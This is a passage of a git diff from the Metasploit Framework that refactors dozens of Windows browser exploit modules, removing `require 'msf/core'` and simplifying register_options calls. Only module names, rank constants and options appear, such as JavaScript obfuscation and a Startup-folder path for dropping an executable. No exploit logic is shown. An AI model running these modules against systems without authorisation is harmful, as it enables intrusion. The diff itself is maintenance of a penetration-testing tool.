a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb index ca2baf3818..cf9e6e066c 100644 --- a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb +++ b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking # heap spray :-/ diff --git a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb index b0c226aeaf..37112f0265 100644 --- a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb +++ b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -97,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb index c67ae31f3e..6c2e5b0e11 100644 --- a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb +++ b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -103,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) - ], self.class) + ]) end def get_target(agent) diff --git a/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb b/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb index 49dc3318e4..a7839675a2 100644 --- a/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb +++ b/modules/exploits/windows/browser/ibmegath_getxmlvalue.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb b/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb index 88ea81859f..20937534d8 100644 --- a/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb +++ b/modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ie_cbutton_uaf.rb b/modules/exploits/windows/browser/ie_cbutton_uaf.rb index 97cfd3c741..65575f8a11 100644 --- a/modules/exploits/windows/browser/ie_cbutton_uaf.rb +++ b/modules/exploits/windows/browser/ie_cbutton_uaf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -81,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb index 8f7909a73f..bdcb7cbd5a 100644 --- a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb +++ b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -76,7 +74,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/ie_createobject.rb b/modules/exploits/windows/browser/ie_createobject.rb index 7481aebffb..6a3a988bc7 100644 --- a/modules/exploits/windows/browser/ie_createobject.rb +++ b/modules/exploits/windows/browser/ie_createobject.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb index 3656eee408..3e1cc72776 100644 --- a/modules/exploits/windows/browser/ie_execcommand_uaf.rb +++ b/modules/exploits/windows/browser/ie_execcommand_uaf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -79,7 +77,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/ie_iscomponentinstalled.rb b/modules/exploits/windows/browser/ie_iscomponentinstalled.rb index 1e498607a4..d302027740 100644 --- a/modules/exploits/windows/browser/ie_iscomponentinstalled.rb +++ b/modules/exploits/windows/browser/ie_iscomponentinstalled.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index bf8c48a15b..b4b11a4eff 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ie_unsafe_scripting.rb b/modules/exploits/windows/browser/ie_unsafe_scripting.rb index 3db44238f6..fb9b6bdb52 100644 --- a/modules/exploits/windows/browser/ie_unsafe_scripting.rb +++ b/modules/exploits/windows/browser/ie_unsafe_scripting.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/util/exe' require 'msf/core/exploit/powershell' diff --git a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb index 2cd1945cde..c36dd1a664 100644 --- a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb +++ b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0)) register_options( - [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]) ], self.class) + [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]) ]) end # Prevent module from being executed in autopwn diff --git a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb index 588c0e68e6..4e2a902b33 100644 --- a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb +++ b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -78,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb index 5251bad151..c7584b7778 100644 --- a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb +++ b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -83,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/intrust_annotatex_add.rb b/modules/exploits/windows/browser/intrust_annotatex_add.rb index 17035dd842..a5c1f3019c 100644 --- a/modules/exploits/windows/browser/intrust_annotatex_add.rb +++ b/modules/exploits/windows/browser/intrust_annotatex_add.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -81,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]) - ], self.class) + ]) end def junk diff --git a/modules/exploits/windows/browser/java_basicservice_impl.rb b/modules/exploits/windows/browser/java_basicservice_impl.rb index dce454f29d..1914424f1e 100644 --- a/modules/exploits/windows/browser/java_basicservice_impl.rb +++ b/modules/exploits/windows/browser/java_basicservice_impl.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/browser/java_cmm.rb b/modules/exploits/windows/browser/java_cmm.rb index dd6140d2f9..3c1c1d82b5 100644 --- a/modules/exploits/windows/browser/java_cmm.rb +++ b/modules/exploits/windows/browser/java_cmm.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/java_codebase_trust.rb b/modules/exploits/windows/browser/java_codebase_trust.rb index 1d3e0e9eea..e382b0207f 100644 --- a/modules/exploits/windows/browser/java_codebase_trust.rb +++ b/modules/exploits/windows/browser/java_codebase_trust.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'rex' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -80,7 +77,7 @@ class MetasploitModule < Msf::Exploit::Remote # This is the default for a 32-bit Windows install OptString.new('LIBPATH', [ false, "The codebase path to use (privileged)", "C:\\Program Files\\java\\jre6\\lib\\ext"]), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/browser/java_docbase_bof.rb b/modules/exploits/windows/browser/java_docbase_bof.rb index 625f2b8f50..ef38b795ec 100644 --- a/modules/exploits/windows/browser/java_docbase_bof.rb +++ b/modules/exploits/windows/browser/java_docbase_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/java_mixer_sequencer.rb b/modules/exploits/windows/browser/java_mixer_sequencer.rb index c2983fb3ef..07a0220454 100644 --- a/modules/exploits/windows/browser/java_mixer_sequencer.rb +++ b/modules/exploits/windows/browser/java_mixer_sequencer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb index 063a6aef3d..28e757f663 100644 --- a/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb +++ b/modules/exploits/windows/browser/java_ws_arginject_altjvm.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -71,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]), OptString.new('URIPATH', [ true, "The URI to use.", "/" ]), OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/java_ws_double_quote.rb b/modules/exploits/windows/browser/java_ws_double_quote.rb index 87ac933b9f..0700b7dda0 100644 --- a/modules/exploits/windows/browser/java_ws_double_quote.rb +++ b/modules/exploits/windows/browser/java_ws_double_quote.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -72,7 +70,7 @@ class MetasploitModule < Msf::Exploit::Remote OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]), OptString.new('URIPATH', [ true, "The URI to use.", "/" ]), OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/java_ws_vmargs.rb b/modules/exploits/windows/browser/java_ws_vmargs.rb index 74323a296a..8132bb9729 100644 --- a/modules/exploits/windows/browser/java_ws_vmargs.rb +++ b/modules/exploits/windows/browser/java_ws_vmargs.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -68,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]), OptString.new('URIPATH', [ true, "The URI to use.", "/" ]), OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with an SMB server)' ]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb b/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb index 12a30108ab..2b28119737 100644 --- a/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb +++ b/modules/exploits/windows/browser/juniper_sslvpn_ive_setupdll.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/kazaa_altnet_heap.rb b/modules/exploits/windows/browser/kazaa_altnet_heap.rb index 04f1329b5c..25b1aab706 100644 --- a/modules/exploits/windows/browser/kazaa_altnet_heap.rb +++ b/modules/exploits/windows/browser/kazaa_altnet_heap.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb b/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb index 601a07fd74..a2d853e31c 100644 --- a/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb +++ b/modules/exploits/windows/browser/keyhelp_launchtripane_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -80,7 +78,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]), OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) - ], self.class) + ]) end def on_new_session(client) diff --git a/modules/exploits/windows/browser/logitechvideocall_start.rb b/modules/exploits/windows/browser/logitechvideocall_start.rb index 96f993ef29..456db6ebd8 100644 --- a/modules/exploits/windows/browser/logitechvideocall_start.rb +++ b/modules/exploits/windows/browser/logitechvideocall_start.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/lpviewer_url.rb b/modules/exploits/windows/browser/lpviewer_url.rb index 9dd79abcbb..6338f4c192 100644 --- a/modules/exploits/windows/browser/lpviewer_url.rb +++ b/modules/exploits/windows/browser/lpviewer_url.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/macrovision_downloadandexecute.rb b/modules/exploits/windows/browser/macrovision_downloadandexecute.rb index 038cb41bda..7174ce0cb7 100644 --- a/modules/exploits/windows/browser/macrovision_downloadandexecute.rb +++ b/modules/exploits/windows/browser/macrovision_downloadandexecute.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/macrovision_unsafe.rb b/modules/exploits/windows/browser/macrovision_unsafe.rb index c15b5dcd61..c008de3a79 100644 --- a/modules/exploits/windows/browser/macrovision_unsafe.rb +++ b/modules/exploits/windows/browser/macrovision_unsafe.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/browser/malwarebytes_update_exec.rb b/modules/exploits/windows/browser/malwarebytes_update_exec.rb index 7714407a8c..c050c64764 100644 --- a/modules/exploits/windows/browser/malwarebytes_update_exec.rb +++ b/modules/exploits/windows/browser/malwarebytes_update_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking # Would be Great except MBAE doesn't version check @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]) - ], self.class) + ]) # Vulnerable Malwarebytes clients do not allow altering these. deregister_options('SSL', 'SSLVersion', 'SSLCert') diff --git a/modules/exploits/windows/browser/maxthon_history_xcs.rb b/modules/exploits/windows/browser/maxthon_history_xcs.rb index f501d3b651..4db3b40fe9 100644 --- a/modules/exploits/windows/browser/maxthon_history_xcs.rb +++ b/modules/exploits/windows/browser/maxthon_history_xcs.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb b/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb index 0bd3a05ebf..a7730cca18 100644 --- a/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb +++ b/modules/exploits/windows/browser/mcafee_mcsubmgr_vsprintf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/mcafee_mvt_exec.rb b/modules/exploits/windows/browser/mcafee_mvt_exec.rb index b72351ea5b..d6a5a445e6 100644 --- a/modules/exploits/windows/browser/mcafee_mvt_exec.rb +++ b/modules/exploits/windows/browser/mcafee_mvt_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb b/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb index 9828cf2c15..25413b526b 100644 --- a/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb +++ b/modules/exploits/windows/browser/mcafeevisualtrace_tracetarget.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/mirc_irc_url.rb b/modules/exploits/windows/browser/mirc_irc_url.rb index e8877e1ed5..a5157e8a14 100644 --- a/modules/exploits/windows/browser/mirc_irc_url.rb +++ b/modules/exploits/windows/browser/mirc_irc_url.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb index 11b8a375cd..6e70f640fd 100644 --- a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb +++ b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb index eee4ff70b9..962ac9381a 100644 --- a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb index 3af07119d9..dc4a1ea06a 100644 --- a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/mozilla_interleaved_write.rb b/modules/exploits/windows/browser/mozilla_interleaved_write.rb index 8c4e458121..cbd07fe234 100644 --- a/modules/exploits/windows/browser/mozilla_interleaved_write.rb +++ b/modules/exploits/windows/browser/mozilla_interleaved_write.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/mozilla_mchannel.rb b/modules/exploits/windows/browser/mozilla_mchannel.rb index 9523c605da..757682046d 100644 --- a/modules/exploits/windows/browser/mozilla_mchannel.rb +++ b/modules/exploits/windows/browser/mozilla_mchannel.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb index b0da5742b1..f34b99f83a 100644 --- a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb +++ b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/browser/mozilla_nstreerange.rb b/modules/exploits/windows/browser/mozilla_nstreerange.rb index 74a5f98f0f..1ed675f59f 100644 --- a/modules/exploits/windows/browser/mozilla_nstreerange.rb +++ b/modules/exploits/windows/browser/mozilla_nstreerange.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/mozilla_reduceright.rb b/modules/exploits/windows/browser/mozilla_reduceright.rb index 1e3d030aa6..5c3b41cb68 100644 --- a/modules/exploits/windows/browser/mozilla_reduceright.rb +++ b/modules/exploits/windows/browser/mozilla_reduceright.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -78,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) - ], self.class) + ]) end def junk(n=4) diff --git a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb index afe4d9aa3e..2ef35aab7b 100644 --- a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb +++ b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms05_054_onload.rb b/modules/exploits/windows/browser/ms05_054_onload.rb index 29b047312a..3bdd56408b 100644 --- a/modules/exploits/windows/browser/ms05_054_onload.rb +++ b/modules/exploits/windows/browser/ms05_054_onload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb b/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb index 56b3424194..f59b363b43 100644 --- a/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb +++ b/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/ms06_013_createtextrange.rb b/modules/exploits/windows/browser/ms06_013_createtextrange.rb index a2f3bf5b41..b6db50c277 100644 --- a/modules/exploits/windows/browser/ms06_013_createtextrange.rb +++ b/modules/exploits/windows/browser/ms06_013_createtextrange.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms06_055_vml_method.rb b/modules/exploits/windows/browser/ms06_055_vml_method.rb index ec0c79bc03..14fca624b6 100644 --- a/modules/exploits/windows/browser/ms06_055_vml_method.rb +++ b/modules/exploits/windows/browser/ms06_055_vml_method.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms06_057_webview_setslice.rb b/modules/exploits/windows/browser/ms06_057_webview_setslice.rb index 958c1649d1..3df7566e28 100644 --- a/modules/exploits/windows/browser/ms06_057_webview_setslice.rb +++ b/modules/exploits/windows/browser/ms06_057_webview_setslice.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms06_067_keyframe.rb b/modules/exploits/windows/browser/ms06_067_keyframe.rb index fe0e20f400..7391ab198a 100644 --- a/modules/exploits/windows/browser/ms06_067_keyframe.rb +++ b/modules/exploits/windows/browser/ms06_067_keyframe.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms06_071_xml_core.rb b/modules/exploits/windows/browser/ms06_071_xml_core.rb index 533beb1042..82a3305d4a 100644 --- a/modules/exploits/windows/browser/ms06_071_xml_core.rb +++ b/modules/exploits/windows/browser/ms06_071_xml_core.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb b/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb index 812cd9d774..fa48b5d18d 100644 --- a/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb +++ b/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -132,7 +130,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]), OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb b/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb index 09f40510e4..05e3031682 100644 --- a/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb +++ b/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']), - ], self.class) + ]) end def autofilter diff --git a/modules/exploits/windows/browser/ms08_053_mediaencoder.rb b/modules/exploits/windows/browser/ms08_053_mediaencoder.rb index e069312a05..f24bb3aa60 100644 --- a/modules/exploits/windows/browser/ms08_053_mediaencoder.rb +++ b/modules/exploits/windows/browser/ms08_053_mediaencoder.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git 